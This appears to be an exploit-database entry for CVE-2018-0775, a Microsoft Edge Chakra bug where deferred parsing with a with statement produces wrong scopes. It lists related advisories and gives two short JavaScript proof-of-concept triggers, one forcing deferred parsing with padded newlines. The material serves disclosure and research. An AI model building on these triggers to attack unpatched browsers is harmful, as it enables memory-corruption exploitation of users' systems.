Microsoft Edge Chakra - Deferred Parsing Makes Wrong Scopes (2)
| Reporter | Title | Published | Views | Family All 41 |
|---|---|---|---|---|
 | ChakraCore Microsoft Edge RCE | 21 Feb 201800:00 | – | bdu_fstec |
 | CVE-2018-0775 | 17 Jan 201800:00 | – | circl |
 | Microsoft Edge Scripting Engine Memory Corruption Vulnerability (CNVD-2018-00509) | 5 Jan 201800:00 | – | cnvd |
 | CVE-2018-0775 | 4 Jan 201814:00 | – | cve |
 | CVE-2018-0775 | 4 Jan 201814:00 | – | cvelist |
 | Microsoft Edge Chakra - Deferred Parsing Makes Wrong Scopes (2) | 17 Jan 201800:00 | – | exploitdb |
 | January 3, 2018—KB4056892 (OS Build 16299.192) | 9 Jan 201808:00 | – | mskb |
 | KLA11166 Multiple vunlerabilities in Microsoft Browsers | 3 Jan 201800:00 | – | kaspersky |
 | CVE-2018-0775 | 4 Jan 201814:00 | – | mend |
 | Scripting Engine Memory Corruption Vulnerability | 3 Jan 201808:00 | – | mscve |
10
/*
Since the PoC is only triggerable when the "DeferParse" flag enabled and requires a with statement, I think this is simillar to issue 1310 .
PoC:
*/
// Enable the flag using '\n'.repeat(0x1000)
eval(`(function f() {
with ({}) {
(function () {
print(f);
})();
}
}());` + '\n'.repeat(0x1000));
PoC 2:
// ./ch poc.js -ForceDeferParse
(function f() {
with ({}) {
(function () {
print(f);
})();
}
}());
# 0day.today [2018-03-06] #Data
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18 Jan 2018 00:00Current
7.5High risk
Vulners AI Score7.5
EPSS0.6787